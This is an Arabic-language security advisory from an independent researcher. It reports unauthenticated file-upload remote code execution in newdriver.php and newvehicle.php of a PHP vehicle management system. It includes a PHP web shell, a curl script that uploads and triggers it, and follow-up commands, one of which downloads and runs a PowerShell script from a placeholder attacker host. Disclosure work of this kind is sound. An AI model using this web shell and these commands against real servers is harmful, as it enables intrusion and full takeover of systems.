
| الحقل | التفاصيل |
|---|---|
| المنتج | نظام إدارة المركبات في PHP |
| البائع | code-projects.org |
| الإصدار | V1.0 |
| نوع الثغرة | رفع ملفات غير مقيد يؤدي إلى تنفيذ تعليمات برمجية عن بُعد (CWE-434) |
| الملفات المتأثرة | newdriver.php, newvehicle.php |
| المعامل | photo (POST, multipart/form-data) |
| المصادقة المطلوبة | لا (بدون مصادقة) |
| درجة CVSS | 10.0 حرجة |
| ناقل الهجوم | عن بُعد / الشبكة |
| الصلاحيات المطلوبة | لا شيء |
| تفاعل المستخدم | لا شيء |
نظام إدارة المركبات في PHP الإصدار V1.0 من code-projects.org عرضة لثغرة تنفيذ تعليمات برمجية عن بُعد غير مصادق عليها عبر رفع ملف غير مقيد في newdriver.php (وبالمثل في newvehicle.php).
يوفّر التطبيق نموذج تسجيل «سائق جديد» مخصصًا للمسؤول فقط في newdriver.php ويتضمن حقل رفع صورة. ومع ذلك، لا تنفذ هذه الواجهة أي تحقق من الجلسة — إذ يمكن لأي مهاجم غير مصادق الوصول إليها مباشرة دون إعادة توجيه إلى صفحة تسجيل الدخول. علاوة على ذلك، يقبل حقل رفع الصورة أي نوع ملف بما في ذلك ملفات PHP، دون أي تصفية للامتدادات أو التحقق من نوع MIME أو فحص المحتوى.
يمكن للمهاجم:
newdriver.php مباشرة دون أي جلسة أو بيانات اعتماد/picture/يؤدي هذا إلى تنفيذ كامل للتعليمات البرمجية عن بُعد بصلاحيات عملية خادم الويب.
Unauthenticated HTTP Request
↓
newdriver.php (no session check)
↓
photo field accepts .php file (no file type validation)
↓
Shell saved to /picture/web_shell.php
↓
GET /picture/web_shell.php?cmd=whoami
↓
RCE — arbitrary OS command execution
افتح متصفحًا جديدًا بدون جلسة (نافذة خاصة/تصفح خفي). انتقل مباشرة إلى الواجهة:
http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/newdriver.php
يتم تحميل نموذج السائق الجديد بنجاح دون أي فحص للمصادقة ودون إعادة توجيه إلى تسجيل الدخول.
أنشئ قشرة ويب PHP بسيطة لتنفيذ الأوامر:
<?php system($_GET['cmd']); ?>
احفظها باسم shell.php (أو أي اسم ملف بامتداد .php).
املأ حقول نموذج السائق بأي قيم واختر قشرة الويب PHP كصورة للرفع:
Driver Name: test
Mobile: 1234567890
Driver Joining Date: 2026-05-19
National ID: test
License No: test
License End Date: 2026-05-30
Driver Address: test
Photo: shell.php ← PHP webshell uploaded here
انقر فوق إرسال الاستعلام.
يستجيب التطبيق برسالة «اكتمل التسجيل!» — مما يؤكد أن قشرة PHP تم قبولها وحفظها دون أي تحقق.
انتقل إلى القشرة المرفوعة في دليل /picture/ ومرر أوامر النظام عبر معامل cmd:
http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/picture/shell.php?cmd=whoami
ينفذ الخادم الأمر ويعيد الناتج:
desktop-g1i9np3\dell
# Read sensitive files
http://TARGET/.../picture/shell.php?cmd=type+C:\xampp\htdocs\VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE\newdriver.php
# List web root
http://TARGET/.../picture/shell.php?cmd=dir+C:\xampp\htdocs\
# Full reverse shell via PowerShell
http://TARGET/.../picture/shell.php?cmd=powershell+-c+"IEX(New-Object+Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')"
توجد الثغرة نفسها في newvehicle.php. يمكن للمهاجم غير المصادق الوصول إلى نموذج إضافة مركبة جديدة، ورفع قشرة ويب PHP عبر حقل صورة المركبة، وتحقيق تنفيذ التعليمات البرمجية عن بُعد بالطريقة نفسها.
http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/newvehicle.php
تشترك الواجهتان في السبب الجذري نفسه: عدم التحقق من الجلسة وعدم وجود قيود على رفع الملفات.
curl -s -X POST \
"http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/newdriver.php" \
-F "dname=test" \
-F "mobile=1234567890" \
-F "djoiningdate=2026-05-19" \
-F "nid=test" \
-F "licenseno=test" \
-F "licenseenddate=2026-05-30" \
-F "daddress=test" \
-F "[email protected];type=image/jpeg" \
&& echo "[+] Shell uploaded" \
&& curl -s "http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/picture/shell.php?cmd=whoami"
newdriver.php وnewvehicle.php عرضتان للثغرة| الملف | حقل الرفع | مسار تخزين القشرة |
|---|---|---|
newdriver.php | photo | /picture/ |
newvehicle.php | photo | /picture/ |
سيد عماد الدين علوي (imad alvi)
باحث مستقل في مجال الأمن السيبراني